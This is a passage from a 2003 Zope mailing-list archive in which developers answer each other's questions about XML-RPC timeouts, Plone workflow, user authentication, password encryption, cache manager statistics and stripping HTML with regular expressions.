batch of them? If the latter, you could just call RESPONSE.write() after each xml-rpc call. If the individual calls DO take too long, you might try working with threads (tricky!). Or run it as a separate process, which could be launched by an external method e.g. using os.system("command &") to put the separate process in the background. This way, the external method can return immediately. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's ZOOMING INDEFATIGABLE HEATHEN POLAR BEAR! (random hero from isometric.spaceninja.com) From rlinan@truality.com Mon Aug 4 19:28:33 2003 From: rlinan@truality.com (Ramon Linan) Date: Mon, 4 Aug 2003 14:28:33 -0400 Subject: [Zope] online collaboration tool Message-ID: Again, thanks, I spoke with my boss, I still have some hopes... New = question, we need also workflow, eroom didn't have work flow at all, so = if I can tell my boss that I can also give him work flow with this tool = that would keep me safe :) Do anybody knows how is the work flow handle by Plone, I have read = something about CMFOpenflow, is it hard to implement? Thanks -----Original Message----- From: Dylan Reinhardt [mailto:zope@dylanreinhardt.com] Sent: Monday, August 04, 2003 1:20 PM To: Ramon Linan Cc: zope@zope.org Subject: RE: [Zope] online collaboration tool On Mon, 2003-08-04 at 08:00, Ramon Linan wrote: > I have a REDHAT with zope and several windows 2000 servers, which one = will you advice me to install it in? It hardly matters for development purposes. I'd choose whichever one you feel most comfortable with or have root/admin privileges on.=20 Probably you can run it as localhost:8080 on your desktop machine. The only real advice I'd offer is this: Don't do your development or learning on a machine currently being used as a production server.=20 That's a *very* poor way to build job security. :-) As long as all the machines in question are reasonably modern there's little chance you're going to see a big performance difference until your app gets used by more than a handful of people. At that point, it's pretty easy to move from Windows to Linux or vice versa. HTH, Dylan From khcarlso@bellsouth.net Mon Aug 4 19:27:08 2003 From: khcarlso@bellsouth.net (Kevin Carlson) Date: Mon, 04 Aug 2003 14:27:08 -0400 Subject: [Zope] xml-rpc question In-Reply-To: <20030804175054.GA1048@slinkp.com> References: <3F2E83EA.5030901@bellsouth.net> <20030804175054.GA1048@slinkp.com> Message-ID: <3F2EA57C.7070503@bellsouth.net> Paul Winkler wrote: >I'm not clear - are you worried about each xml-rpc call timing out, or the >whole batch of them? >If the latter, you could just call RESPONSE.write() after >each xml-rpc call. > I'm worried about the entire batch, actually. A single xml-rpc call would generate multiple requests to other sites. Each of those requests will return a document that is added to a folder and catalogued. >If the individual calls DO take too long, you might try >working with threads (tricky!). Or run it as a separate process, >which could be launched by an external method e.g. using os.system("command &") >to put the separate process in the background. >This way, the external method can return immediately. > > I'd like to try working with threads to see what is possible, but I'm not sure where to begin with threads and Zope. I've also concluded that I can make a single xml-rpc call to get data on the additional calls and then call each one individually as an additional xml-rpc call. This would be much less likely to timeout. I'd like to try and do this with threads, but after googling on threads in Zope and getting back hundreds of results on "discussion threads" I am hoping someone can point me to a resource on this... Thanks, Kevin From zope@dylanreinhardt.com Mon Aug 4 19:44:59 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 04 Aug 2003 11:44:59 -0700 Subject: [Zope] online collaboration tool In-Reply-To: References: Message-ID: <1060022698.13919.615.camel@ida.dylanreinhardt.com> If you're going to be working heavily in Plone, you'll probably want to sign up for the Plone list. It's probably the best place to ask detailed Plone questions. http://lists.sourceforge.net/lists/listinfo/plone-users HTH, Dylan On Mon, 2003-08-04 at 11:28, Ramon Linan wrote: > Again, thanks, I spoke with my boss, I still have some hopes... New question, we need also workflow, eroom didn't have work flow at all, so if I can tell my boss that I can also give him work flow with this tool that would keep me safe :) > > Do anybody knows how is the work flow handle by Plone, I have read something about CMFOpenflow, is it hard to implement? > > Thanks > > -----Original Message----- > From: Dylan Reinhardt [mailto:zope@dylanreinhardt.com] > Sent: Monday, August 04, 2003 1:20 PM > To: Ramon Linan > Cc: zope@zope.org > Subject: RE: [Zope] online collaboration tool > > > On Mon, 2003-08-04 at 08:00, Ramon Linan wrote: > > I have a REDHAT with zope and several windows 2000 servers, which one will you advice me to install it in? > > It hardly matters for development purposes. I'd choose whichever one > you feel most comfortable with or have root/admin privileges on. > Probably you can run it as localhost:8080 on your desktop machine. The > only real advice I'd offer is this: Don't do your development or > learning on a machine currently being used as a production server. > That's a *very* poor way to build job security. :-) > > As long as all the machines in question are reasonably modern there's > little chance you're going to see a big performance difference until > your app gets used by more than a handful of people. At that point, > it's pretty easy to move from Windows to Linux or vice versa. > > HTH, > > Dylan > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From list@zettai.net Mon Aug 4 20:06:29 2003 From: list@zettai.net (george donnelly) Date: Mon, 04 Aug 2003 14:06:29 -0500 Subject: [Zope] online collaboration tool In-Reply-To: Message-ID: [Ramon Linan wrote (rlinan@truality.com) on 8/4/03 1:28 PM] > Do anybody knows how is the work flow handle by Plone, I have read something > about CMFOpenflow, is it hard to implement? actually the default is DCWorkflow which is easy to configure, fairly powerful and easy to implement. <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From michael@bleijerveld.nl Mon Aug 4 20:17:30 2003 From: michael@bleijerveld.nl (Michael Bleijerveld) Date: Mon, 4 Aug 2003 21:17:30 +0200 Subject: [Zope] set role authenticated for logged in user Message-ID: <010601c35abd$0cafea40$9700000a@MICHAEL> Hello, I am building some sort of login manager with Interbase. How can the user be validated from Interbase act as an authenticated user ? Must I add a local role ? Regards, Michael From brian@zope.com Mon Aug 4 20:32:53 2003 From: brian@zope.com (Brian Lloyd) Date: Mon, 4 Aug 2003 15:32:53 -0400 Subject: [Zope] T-minus an hour or so for new zope.org :) Message-ID: As threatened, ...er promised, we are going to switch over to the new zope.org this afternoon. :) The site will be intermittently weird and unavailable for a short while this afternoon (EST) while we make the switch, change DNS, etc. Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com From brian@zope.com Mon Aug 4 21:48:12 2003 From: brian@zope.com (Brian Lloyd) Date: Mon, 4 Aug 2003 16:48:12 -0400 Subject: [Zope] Announce: new www.zope.org is LIVE! Message-ID: At long last, http://www.zope.org has gone live with a new look and a new platform based on Zope 2.6.2, CMF 1.3 and Plone! Our thanks go to the cast of thousands who have participated in this project over time, most recently Guido van Rossum and Sidnei de Silva for getting us to the goal line. Zope.org is a big site with a lot of content. We've tried hard to test the most common resources, but we fully expect some issues to arise in the transition. We are also certain that the best way to work things out quickly is to 'make it live' and tackle the issues as they come up. If you notice anything weird, broken or missing from the site, please send us a problem reporting using the ZopeOrg issue collector: http://collector.zope.org/ZopeOrg/collector_add_issue_form Issues that we are aware of and working to resolve this week include: - Logging in as a member takes a ridiculously long time. We think this might be an LDAP interaction and we working to fix it. - We have not done extensive cache tuning yet - if you experience any unreasonably slow load times, please let us know the URL you were trying to get to help us tune caching. The old sites will remain accessible for some time at the following URLs in case anything was missed in the transition: - http://old.zope.org - http://olddev.zope.org Note that it will take some time for DNS changes to propagate, so you may not see the site changes immediately. Thanks again to everyone who has been involved in making this happen! Brian Lloyd brian@zope.com V.P. Engineering 540.361.1716 Zope Corporation http://www.zope.com From jccooper@jcameroncooper.com Mon Aug 4 22:26:23 2003 From: jccooper@jcameroncooper.com (J Cameron Cooper) Date: Mon, 04 Aug 2003 16:26:23 -0500 Subject: [Zope] online collaboration tool In-Reply-To: References: Message-ID: <3F2ECF7F.8000609@jcameroncooper.com> I'm familiar with eRooms. I used to work at a place that used that. If I still worked there, I'd be campaigning to get them to replace it with Plone. Lots cheaper, and more functional. But one can't go around saving former employers money. >I have a question though, I have a REDHAT with zope and several windows 2000 servers, which one will you advice me to install it in? > Personally, I think running Windows servers is a serious PITA. But aside from that, most reports I hear suggest that Zope runs a bit faster on Linux. Plus, if you use Linux, you'll be able to use DirectoryStorage, which is a Very Good Thing. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From bluepaul@earthlink.net Mon Aug 4 22:56:52 2003 From: bluepaul@earthlink.net (David Hassalevris) Date: Mon, 4 Aug 2003 14:56:52 -0700 Subject: [Zope] set role authenticated for logged in user References: <010601c35abd$0cafea40$9700000a@MICHAEL> Message-ID: <001301c35ad3$50a3b090$0200a8c0@DAVIDH> I use Interbase as well. Take a look at simpleUserFolder ... its an elegant solution to storing user information outside the ZODB (including userId,password, roles, etc). David ----- Original Message ----- From: "Michael Bleijerveld" To: Sent: Monday, August 04, 2003 12:17 PM Subject: [Zope] set role authenticated for logged in user > Hello, > > I am building some sort of login manager with Interbase. > How can the user be validated from Interbase act as an authenticated user ? > Must I add a local role ? > > Regards, > > Michael > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From pw_lists@slinkp.com Mon Aug 4 23:58:06 2003 From: pw_lists@slinkp.com (Paul Winkler) Date: Mon, 4 Aug 2003 18:58:06 -0400 Subject: [Zope] xml-rpc question In-Reply-To: <3F2EA57C.7070503@bellsouth.net> References: <3F2E83EA.5030901@bellsouth.net> <20030804175054.GA1048@slinkp.com> <3F2EA57C.7070503@bellsouth.net> Message-ID: <20030804225806.GA1479@slinkp.com> On Mon, Aug 04, 2003 at 02:27:08PM -0400, Kevin Carlson wrote: > would be much less likely to timeout. I'd like to try and do this with > threads, but after googling on threads in Zope and getting back hundreds > of results on "discussion threads" I am hoping someone can point me to a > resource on this... i suggest the zope-dev list archives at nipltd: http://zope.nipltd.com/public/lists/dev-archive.nsf/$$Search?OpenForm that might get you started. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE TONE-DEAF RAINCOAT! (random hero from isometric.spaceninja.com) From drew@mena.org.au Tue Aug 5 00:59:53 2003 From: drew@mena.org.au (drew nichols) Date: Tue, 05 Aug 2003 09:59:53 +1000 Subject: [Zope] Cookie crumbler and VHM Message-ID: <3F2EF379.4030401@mena.org.au> Hi, I have converted a zope site (using CC authentication) to virtual hosting. Now I can't authenticate. The request['AUTHENTICATION_PATH'] has the VHM appended to the end so i guess this is the problem. I also see from the mailing lists that it could also be apache truncating the cookies. Any clues please? tia Drew From jaseoldham89@yahoo.co.uk Tue Aug 5 01:49:20 2003 From: jaseoldham89@yahoo.co.uk (=?iso-8859-1?q?Jase=20Oldham?=) Date: Tue, 5 Aug 2003 01:49:20 +0100 (BST) Subject: [Zope] how to select selected optoin: newbie In-Reply-To: <3F2E3DCB.4050308@nipltd.com> Message-ID: <20030805004920.5282.qmail@web11505.mail.yahoo.com> Chris/Jeremy, Thanks so much. The final code is below-there was a small typo with a redundant tal: item. The python i see here accesses the db and iterates through the list (tuples?) and sets the selected to the equiv request value via the ==request.get Is that correct? im a bit new to python tal and zope. Jase --- Chris Withers wrote: > Jeremy Tammik wrote: > > >>Ive been trying to make this select list auto > select > >>the request variable. > >> > >> > >> > >>ZSQL = getCountryMethod ( select * from world > >>ZPT = index_html > >> > >>I have a form which submits a select option to > zsql > >>which then goes to index_html where i want the > select > >>to selected the variable in request that was sent. > > > > cheers, > > Chris > ________________________________________________________________________ Want to chat instantly with your online friends? Get the FREE Yahoo! Messenger http://uk.messenger.yahoo.com/ From cyhoong@pc.jaring.my Tue Aug 5 06:38:46 2003 From: cyhoong@pc.jaring.my (Chan YH) Date: Tue, 5 Aug 2003 13:38:46 +0800 Subject: [Zope] Combing 2 list Message-ID: <001801c35b13$fd7b5350$0101a8c0@amphora> I would like to combine 2 sql tables into one using dtml/python script method. Person (table) + Company (table) => Contact (table) Can someone give a me a tip? Thank a lot. Data Entry Form ============

Name: 
Form1_action method - this method doesn't do anything =============== ???
sequence-item is:
name is:

SQL method ========= listCompany_sql: select * from company listPerson_sql select * from person Table schema -------------- CREATE TABLE person ( first_name char(20), last_name char(20) ); CREATE TABLE company ( co_name char(20), co_phone char(20) ); CREATE TABLE contact ( first_name char(20), last_name char(20), co_name char(20), co_phone char(20) ); From anithageorge27@hotmail.com Tue Aug 5 06:54:29 2003 From: anithageorge27@hotmail.com (Anitha George) Date: Tue, 05 Aug 2003 05:54:29 +0000 Subject: [Zope] How to encrypt passwords in Zope?? Message-ID: Hi all I have developed an application in Zope and want to store the passwords in encrypted form in the database i.e Postgresql.Please could someone help me out with this.??? Thanks Anitha _________________________________________________________________ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From kedai@kedai.com.my Tue Aug 5 07:10:17 2003 From: kedai@kedai.com.my (Bakhtiar A Hamid) Date: Tue, 5 Aug 2003 14:10:17 +0800 Subject: [Zope] Combing 2 list In-Reply-To: <001801c35b13$fd7b5350$0101a8c0@amphora> References: <001801c35b13$fd7b5350$0101a8c0@amphora> Message-ID: <200308051410.18086.kedai@kedai.com.my> do that in SQL and query that view hth On Tuesday 05 August 2003 01:38 pm, Chan YH wrote: > I would like to combine 2 sql tables into one using dtml/python script > method. > Person (table) + Company (table) => Contact (table) > > Can someone give a me a tip? > > Thank a lot. > > Data Entry Form > ============ > >

>
> > > > > > > > > > >
Name:  last_name> >
>
> > > Form1_action method - this method doesn't do anything > =============== > ??? > > > > > > > >
sequence-item is: sequence-item>
name is: first_name> last_name>

> > SQL method > ========= > listCompany_sql: > select * from company > > listPerson_sql > select * from person > > > Table schema > -------------- > CREATE TABLE person > ( > first_name char(20), > last_name char(20) > ); > > CREATE TABLE company > ( > co_name char(20), > co_phone char(20) > ); > > CREATE TABLE contact > ( > first_name char(20), > last_name char(20), > co_name char(20), > co_phone char(20) > ); > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From bluepaul@earthlink.net Tue Aug 5 07:28:37 2003 From: bluepaul@earthlink.net (David Hassalevris) Date: Mon, 4 Aug 2003 23:28:37 -0700 Subject: [Zope] Combing 2 list References: <001801c35b13$fd7b5350$0101a8c0@amphora> Message-ID: <001f01c35b1a$ce456ec0$0200a8c0@DAVIDH> Yes do that in your SQL. Its not a Zope problem. David ----- Original Message ----- From: "Chan YH" To: Sent: Monday, August 04, 2003 10:38 PM Subject: [Zope] Combing 2 list > I would like to combine 2 sql tables into one using dtml/python script > method. > Person (table) + Company (table) => Contact (table) > > Can someone give a me a tip? > > Thank a lot. > > Data Entry Form > ============ > >

>
> > > > > > > > > > >
Name:  last_name> >
>
> > > Form1_action method - this method doesn't do anything > =============== > ??? > > > > > > > > >
sequence-item is:
name is: last_name>

> > SQL method > ========= > listCompany_sql: > select * from company > > listPerson_sql > select * from person > > > Table schema > -------------- > CREATE TABLE person > ( > first_name char(20), > last_name char(20) > ); > > CREATE TABLE company > ( > co_name char(20), > co_phone char(20) > ); > > CREATE TABLE contact > ( > first_name char(20), > last_name char(20), > co_name char(20), > co_phone char(20) > ); > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From zope@phpv.khv.ru Tue Aug 5 07:31:16 2003 From: zope@phpv.khv.ru (Sergey Volobuev) Date: Tue, 05 Aug 2003 17:31:16 +1100 Subject: [Zope] "Zope Powered Sitez" page seems to be broken In-Reply-To: References: Message-ID: <3F2F4F34.4070807@phpv.khv.ru> *http://zope.org/Resources/ZopePowered/ All links points to http://zope.org/portal_catalog * From ngps@netmemetic.com Tue Aug 5 07:40:48 2003 From: ngps@netmemetic.com (Ng Pheng Siong) Date: Tue, 5 Aug 2003 14:40:48 +0800 Subject: [Zope] How to encrypt passwords in Zope?? In-Reply-To: References: Message-ID: <20030805064048.GB1084@vista.netmemetic.com> On Tue, Aug 05, 2003 at 05:54:29AM +0000, Anitha George wrote: > I have developed an application in Zope and want to store the passwords > in encrypted form in the database i.e Postgresql.Please could someone help > me out with this.??? Two possibilities: 1. I think modern PostgreSQL has server-side "crypt" functionality. 2. Look at how zpasswd.py does it. -- Ng Pheng Siong http://firewall.rulemaker.net -+- Manage Your Firewall Rulebase Changes http://www.post1.com/home/ngps -+- Open Source Python Crypto & SSL From =?ISO-8859-15?B?R2VpciBC5mtob2x0?= Tue Aug 5 09:35:23 2003 From: =?ISO-8859-15?B?R2VpciBC5mtob2x0?= (=?ISO-8859-15?B?R2VpciBC5mtob2x0?=) Date: Tue, 5 Aug 2003 10:35:23 +0200 Subject: [Zope] How to encrypt passwords in Zope?? In-Reply-To: References: Message-ID: <11012308.20030805103523@elvix.com> On Tue, 05 Aug 2003 05:54:29 +0000 GMT (..7:54 where i live(GMT+2) ) Anitha George asked the Zope mailinglist about the following: =20 > Hi all > I have developed an application in Zope and want to store the pass= words=20 > in encrypted form in the database i.e Postgresql.Please could someone h= elp=20 > me out with this.??? ExUserFolder's postgres authentication-source does this. You can either just install it and see if it meets your needs, or you can have a look at the sources to see how things are done :) http://www.zope.org/Members/TheJester/exUserFolder/ -- Geir B=E6kholt From IGOR@emun.com Tue Aug 5 10:35:03 2003 From: IGOR@emun.com (Igor Leturia) Date: Tue, 5 Aug 2003 11:35:03 +0200 Subject: [Zope] How to unsubscribe Message-ID: <0C4BCA0F254FD24D841A296F62878BF415D822@www.emun.com> Hi all! As I am going to change my e-mail address, I want to unsubscribe from this list. The problem is that I can't, if I click in the link that appears at the bottom of the messages of the list (http://mail.zope.org/mailman/listinfo/zope), the other zope lists appear, but not this one (it says "no such list zope"), so I don't know how to unsubscribe... Any ideas? Igor Leturia From chrisw@nipltd.com Tue Aug 5 10:59:06 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 10:59:06 +0100 Subject: [Zope] Re: How to encrypt passwords in Zope? References: Message-ID: <3F2F7FEA.6000101@nipltd.com> (your question is better answered on zope@zope.org) Anitha George wrote: > > I have developed an application in Zope and want to store the > passwords in encrypted form in the database i.e Postgresql.Please could > someone help me out with this.??? What userfolder implementation are you using? cheers, Chris From robichon@esrf.fr Tue Aug 5 10:57:13 2003 From: robichon@esrf.fr (Marie Robichon) Date: Tue, 05 Aug 2003 11:57:13 +0200 Subject: [Zope] filefield value when empty Message-ID: <5.1.0.14.1.20030805114857.00aff268@mailserv.esrf.fr> Hi everyone, I figured this one out for myself and thought maybe someone would be interested in the answer. I found that even when no value is added to the field using the browse button, (and even despite defining a default value) the REQUEST shows a 'FileUpload instance object'. Therefore you have to check that the filename attribute of this fileupload instance object is empty: if getattr(file, 'filename')!="": do something ........ Hope this can be helpful to someone, Marie From chrisw@nipltd.com Tue Aug 5 11:07:10 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:07:10 +0100 Subject: [Zope] request.set sequence value References: <007401c352b0$847863f0$9700000a@MICHAEL> <3F293997.5020903@nipltd.com> <00ca01c35832$fb051810$9700000a@MICHAEL> <3F2BCA05.2060804@nipltd.com> <001601c35940$0f723db0$9700000a@MICHAEL> <3F2E3A7D.80604@nipltd.com> <00e101c35a81$744ab540$9700000a@MICHAEL> Message-ID: <3F2F81CE.2090505@nipltd.com> Michael Bleijerveld wrote: > Hi Chris, > > The following message is displayed Acquisition>. This means the object you're getting the REQUEST from is not acquisition wrapped. Have you been fiddling with Products or External Methods? ;-) cheers, Chris From chrisw@nipltd.com Tue Aug 5 11:08:20 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:08:20 +0100 Subject: [Zope] request.set sequence value References: <3F2692A8000ED3D0@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) Message-ID: <3F2F8214.4090907@nipltd.com> Jaroslav Lukesh wrote: >>"REQUEST.set('query_start',_.getitem('next-sequence-start-number'))"> >> > > Hi, try that: > > Be careful with this, that will call the thing obtained from the namespace if it's callable, which is not often what you want. The code I gave will do exactly the same thing but just won't call the result ;-) Chris From chrisw@nipltd.com Tue Aug 5 11:09:15 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:09:15 +0100 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places References: <3F2DD78B.5090903@yahoo.com.ar> <3F2E3C55.1070306@nipltd.com> <3F2E647F.6010804@yahoo.com.ar> Message-ID: <3F2F824B.3070009@nipltd.com> Luis Mariano Luporini wrote: > I've put "select 3::numeric(10,2)" in a zsql method, in a zpt that calls > that method This is the code you want to fix. What is the code you currently have? Chris From chrisw@nipltd.com Tue Aug 5 11:10:01 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:10:01 +0100 Subject: [Zope] how to select selected optoin: newbie References: <20030805004920.5282.qmail@web11505.mail.yahoo.com> Message-ID: <3F2F8279.4070505@nipltd.com> Jase Oldham wrote: > The python i see here accesses the db and iterates > through the list (tuples?) and sets the selected to > the equiv request value via the ==request.get > > Is that correct? im a bit new to python tal and zope. Roughly, yeah :-) Chris From chrisw@nipltd.com Tue Aug 5 11:17:58 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:17:58 +0100 Subject: [Zope] acl_users References: <1060007482.3f2e6e3a20bc1@gps> Message-ID: <3F2F8456.7050602@nipltd.com> Gordon Sullivan wrote: > > I added a ZWiki to my site, but there wasn't an option to create an acl_users > object in its directory when I added it. There isn't an option in the "add > object drop-down list" --How can I add an acl_users object to it's directory? Yeah there is: 'User Folder' :-) Chris From chrisw@nipltd.com Tue Aug 5 11:21:01 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:21:01 +0100 Subject: [Zope] Cookie crumbler and VHM References: <3F2EF379.4030401@mena.org.au> Message-ID: <3F2F850D.2030109@nipltd.com> drew nichols wrote: > > Any clues please? What version of Apache are you using? What does the appropriate section of your Apache config look like? cheers, Chris From chrisw@nipltd.com Tue Aug 5 11:23:39 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:23:39 +0100 Subject: [Zope] How to unsubscribe References: <0C4BCA0F254FD24D841A296F62878BF415D822@www.emun.com> Message-ID: <3F2F85AB.3010703@nipltd.com> Igor Leturia wrote: > As I am going to change my e-mail address, I want to unsubscribe from > this list. The problem is that I can't, if I click in the link that > appears at the bottom of the messages of the list > (http://mail.zope.org/mailman/listinfo/zope), the other zope lists > appear, but not this one (it says "no such list zope"), so I don't know > how to unsubscribe... http://mail.zope.org/pipermail/zope-dev/2003-August/020263.html http://mail.zope.org/pipermail/zope-dev/2003-August/020266.html cheers, Chris From chrisw@nipltd.com Tue Aug 5 11:25:15 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 11:25:15 +0100 Subject: [Zope] filefield value when empty References: <5.1.0.14.1.20030805114857.00aff268@mailserv.esrf.fr> Message-ID: <3F2F860B.3080101@nipltd.com> Marie Robichon wrote: > > I figured this one out for myself and thought maybe someone would be > interested in the answer. I found that even when no value is added to > the field using the browse button, (and even despite defining a default > value) You can't define default values for inputs of type "file". For security reasons, the browser will ignore any value supplied... > Therefore you > have to check that the filename attribute of this fileupload instance > object is empty: > > if getattr(file, 'filename')!="": > do something ........ Yup, that's the way to do it :-) cheers, Chris From chrisw@nipltd.com Tue Aug 5 12:40:44 2003 From: chrisw@nipltd.com (Chris Withers) Date: Tue, 05 Aug 2003 12:40:44 +0100 Subject: [Zope] CacheManager missing in 2.6.2b4 :-( Message-ID: <3F2F97BC.2030008@nipltd.com> Hi, I introduced a cache manager on http://www.bay-c.co.uk to cache the page templates that generate the two lower boxes in the right column, sincethese don't change very often. When I first did this, all worked amazingly well. However, I just checked the cache manger stats page today and I'm getting 25 misses per hit, not very good at all :-( To boot, there are 193 entries in the cache for a method that doesn't change, and they're taking up 350kb of RAM for no good reason. Is this likely to be a bug in 2.6.2b4 or could I haev tweaked something to get these kind of bad results? thanks for any help, Chris From =?ISO-8859-15?B?R2VpciBC5mtob2x0?= Tue Aug 5 12:54:41 2003 From: =?ISO-8859-15?B?R2VpciBC5mtob2x0?= (=?ISO-8859-15?B?R2VpciBC5mtob2x0?=) Date: Tue, 5 Aug 2003 13:54:41 +0200 Subject: [Zope] CacheManager missing in 2.6.2b4 :-( In-Reply-To: <3F2F97BC.2030008@nipltd.com> References: <3F2F97BC.2030008@nipltd.com> Message-ID: <1148149101.20030805135441@elvix.com> On Tue, 05 Aug 2003 12:40:44 +0100 GMT (..13:40 where i live(GMT+2) ) Chris Withers asked the Zope mailinglist about the following: =20 > Hi, > I introduced a cache manager on http://www.bay-c.co.uk to cache the pag= e=20 > templates that generate the two lower boxes in the right column, sincet= hese=20 > don't change very often. > When I first did this, all worked amazingly well. > However, I just checked the cache manger stats page today and I'm getti= ng 25=20 > misses per hit, not very good at all :-( To boot, there are 193 entries= in the=20 > cache for a method that doesn't change, and they're taking up 350kb of = RAM for=20 > no good reason. What REQUEST variables have you set for the cache manager ? It wil store one entry for each unique combination of REQUEST variables defined for the cache manager. so.. if you leave it at the default "AUTHENTICATED_USER" each user will have his own version stored.. If the methods are truly non-changing, leave that box all empty :) -- Geir B=E6kholt From jamie@audible.transient.net Tue Aug 5 12:53:33 2003 From: jamie@audible.transient.net (Jamie Heilman) Date: Tue, 5 Aug 2003 04:53:33 -0700 Subject: [Zope] CacheManager missing in 2.6.2b4 :-( In-Reply-To: <3F2F97BC.2030008@nipltd.com> References: <3F2F97BC.2030008@nipltd.com> Message-ID: <20030805115333.GA22389@audible.transient.net> Chris Withers wrote: > However, I just checked the cache manger stats page today and I'm getting > 25 misses per hit, not very good at all :-( To boot, there are 193 entries > in the cache for a method that doesn't change, and they're taking up 350kb > of RAM for no good reason. Did you define a non-empty set of request variables? If so its entirely possibly thats why there are different entries for the same method. Is the method a page template? RAM Cache Managers are lousy at caching page templates because page templates store data in their keywords which can change as the memory usage of your zope process changes and python re-orders things. Finally, remember that 350k is an aproximation garnered by the pickle size of the cached content, its not an exact reflection of the actual memory consumption, its only ment as a rough guide. > Is this likely to be a bug in 2.6.2b4 or could I haev tweaked something to > get these kind of bad results? Its probably just reflective of some of the design choices behind RAM Cache Manager. I wrote a diatribe on caching 2 months ago, check it: http://marc.theaimsgroup.com/?l=zope&m=105460381811223&w=2 -- Jamie Heilman http://audible.transient.net/~jamie/ "We must be born with an intuition of mortality. Before we know the words for it, before we know there are words, out we come bloodied and squalling with the knowledge that for all the compasses in the world, there's only one direction, and time is its only measure." -Rosencrantz From ken@practical.org Tue Aug 5 13:26:54 2003 From: ken@practical.org (ken@practical.org) Date: Tue, 5 Aug 2003 14:26:54 +0200 (CEST) Subject: [Zope] Strip all HTML Message-ID: <200308051226.h75CQrP76717@zope.config.com> Hi all, I want to display a text-only version of a web page captured with the DocumentLibrary product (no longer supported). This product uses the 'Catalog Support' HTML converter available here: http://www.dieter.handshake.de/pyprojects/zope/CatalogSupport.html However this converter, like the others I have tried (Strip-o-Gram, as well as an external method based on striphtml.py), seem unable to remove the content of or tags. So I get plenty of hits with a search for 'children' or 'window' or 'background'... Has anyone else confronted this problem? I have also made feeble attempts such as the following Script (Python), without success: import string import re text = re.sub('.*?', '', data) text = re.sub('.*?', '', text) text = re.sub('.*?', '', text) text = re.sub('.*?', '', text) text = re.sub('', '', text) text = re.sub('<.*?>', ' ', text) return text I sure would appreciate some help on this... Thanks, Ken From anithageorge27@hotmail.com Tue Aug 5 13:43:02 2003 From: anithageorge27@hotmail.com (Anitha George) Date: Tue, 05 Aug 2003 12:43:02 +0000 Subject: [Zope] Thanks!!got the method for encrypting passwords. Message-ID: hi all Thanks samir for the tip.i created a python file and used the md5 algorithm.then i called it in an external method in zope..and then used the method in my script.. thanks to evry1 for their replies... Anitha _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From jean@upfrontsystems.co.za Tue Aug 5 14:22:19 2003 From: jean@upfrontsystems.co.za (Jean Jordaan) Date: Tue, 05 Aug 2003 15:22:19 +0200 Subject: [Zope] Should everyone always have 'Anonymous' role? Message-ID: <3F2FAF8B.4050402@upfrontsystems.co.za> Hi all I used to test for before switching to LDAPUserFolder, and it used to work. When I switched, it stopped working, and I found this in LDAPUserFolder's 'Configure.stx': 'Default User Roles' -- All users authenticated from your ldap tree will be given the roles you put into this comma-delimited list. Zope expects all users - anonymous as well as authenticated - to have the role Anonymous. I wasn't aware of that. Why does an authenticated user need to have Anonymous as a role? (I'm trying to get to http://www.zope.org/Documentation/Books/ZopeBook/2_6Edition/Security.stx but it's down now: While trying to retrieve the URL: http://12.155.117.33:8082/VirtualHostBase/http/zope.org:80/zopeorg/VirtualHostRoot/Documentation/Books/ZopeBook/2_6Edition/Security.stx The following error was encountered: * Connection Failed ) -- Jean Jordaan http://www.upfrontsystems.co.za From zope@dylanreinhardt.com Tue Aug 5 14:39:11 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 05 Aug 2003 06:39:11 -0700 Subject: [Zope] Strip all HTML In-Reply-To: <200308051226.h75CQrP76717@zope.config.com> References: <200308051226.h75CQrP76717@zope.config.com> Message-ID: <1060090750.12779.799.camel@ida.dylanreinhardt.com> You didn't mention what problem you're having... but it would appear that case-sensitive matching is one of them. re.sub (sadly) doesn't support flags like I (ignore case) or S (dot matches newline character). I have no idea why not. However, not all is lost. re.compile supports flags and will give you an object that has a sub method. Go figure. So you can try something like: ----- import re style = re.compile('.*?', re.I | re.S) script = re.compile('.*?', re.I | re.S) tags = re.compile('<.*?>', re.S) return tags.sub('', script.sub('', style.sub('', text))) ----- Note that in this case there is no need to check for comments separately... they'll be matched by the tags pattern. 